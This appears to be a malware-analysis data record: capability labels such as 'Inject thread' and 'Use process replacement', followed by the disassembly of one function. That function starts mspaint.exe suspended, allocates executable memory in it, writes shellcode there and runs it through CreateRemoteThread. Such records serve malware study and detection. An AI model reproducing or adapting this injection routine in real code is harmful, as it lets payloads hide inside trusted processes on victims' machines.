Function at 0x4016f0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Execute shellcode via indirect call
Inject thread
Resume thread
Spawn thread to rwx shellcode
Terminate process
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
sub esp, 0x94
mov dword [esp + 8], 0x44
mov dword [esp + 4], 0
lea eax, [ebp - 0x54]
mov dword [esp], eax
call sym._memset
mov dword [esp + 8], 0x10
mov dword [esp + 4], 0
lea eax, [ebp - 0x64]
mov dword [esp], eax
call sym._memset
mov dword [ebp - 0x54], 0x44
lea eax, [ebp - 0x64]
mov dword [esp + 0x24], eax
lea eax, [ebp - 0x54]
mov dword [esp + 0x20], eax
mov dword [esp + 0x1c], 0
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0x8000004
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], 0
mov dword [esp + 8], 0
mov dword [esp + 4], str.C:WindowsSystem32mspaint.exe
mov dword [esp], 0
mov eax, dword [sym.imp.KERNEL32.dll_CreateProcessA]
call eax
sub esp, 0x28
test eax, eax
sete al
test al, al
je 0x4017dc
mov dword [esp + 4], str.CreateProcess_failed:
mov dword [esp], 0x4d6960
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, 0
jmp 0x401aad
mov eax, dword [ebp - 0x64]
mov dword [esp + 0x10], 0x40
mov dword [esp + 0xc], 0x3000
mov edx, dword [ebp + 0xc]
mov dword [esp + 8], edx
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
call eax
sub esp, 0x14
mov dword [ebp - 0xc], eax
cmp dword [ebp - 0xc], 0
jne 0x401871
mov dword [esp + 4], str.VirtualAllocEx_failed:
mov dword [esp], 0x4d6960
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateProcess]
call eax
sub esp, 8
mov eax, 0
jmp 0x401aad
mov eax, dword [ebp - 0x64]
mov dword [esp + 0x10], 0
mov edx, dword [ebp + 0xc]
mov dword [esp + 0xc], edx
mov edx, dword [ebp + 8]
mov dword [esp + 8], edx
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
call eax
sub esp, 0x14
test eax, eax
sete al
test al, al
je 0x40192f
mov dword [esp + 4], str.WriteProcessMemory_failed:
mov dword [esp], 0x4d6960
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x64]
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], 0
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateProcess]
call eax
sub esp, 8
mov eax, 0
jmp 0x401aad
mov dword [esp + 4], str.Shellcode_written_to_memory_successfully.
mov dword [esp], 0x4d6aa0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov edx, dword [ebp - 0xc]
mov eax, dword [ebp - 0x64]
mov dword [esp + 0x18], 0
mov dword [esp + 0x14], 0
mov dword [esp + 0x10], 0
mov dword [esp + 0xc], edx
mov dword [esp + 8], 0
mov dword [esp + 4], 0
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
call eax
sub esp, 0x1c
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
jne 0x401a24
mov dword [esp + 4], str.CreateRemoteThread_failed:
mov dword [esp], 0x4d6960
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [sym.imp.KERNEL32.dll_GetLastError]
call eax
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x64]
mov dword [esp + 0xc], 0x8000
mov dword [esp + 8], 0
mov edx, dword [ebp - 0xc]
mov dword [esp + 4], edx
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
call eax
sub esp, 0x10
mov eax, dword [ebp - 0x64]
mov dword [esp + 4], 1
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_TerminateProcess]
call eax
sub esp, 8
mov eax, 0
jmp 0x401aad
mov dword [esp + 4], str.Remote_thread_created_successfully._Thread_ID:
mov dword [esp], 0x4d6aa0
call method.std::basic_ostream_char__std::char_traits_char____std::operator____std.char_traits_char____std::basic_ostream_char__std::char_traits_char_____char_const_
mov ebx, eax
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetThreadId]
call eax
sub esp, 4
mov dword [esp], eax
mov ecx, ebx
call method.std::ostream.operator___unsigned_long_
sub esp, 4
mov dword [esp], method.std::basic_ostream_char__std::char_traits_char____std::endl_char__std.char_traits_char____std::basic_ostream_char__std::char_traits_char____
mov ecx, eax
call method.std::ostream.operator___std::ostream____std::ostream__
sub esp, 4
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_ResumeThread]
call eax
sub esp, 4
mov eax, dword [ebp - 0x10]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x64]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, dword [ebp - 0x60]
mov dword [esp], eax
mov eax, dword [sym.imp.KERNEL32.dll_CloseHandle]
call eax
sub esp, 4
mov eax, 1
mov ebx, dword [ebp - 4]
leave
ret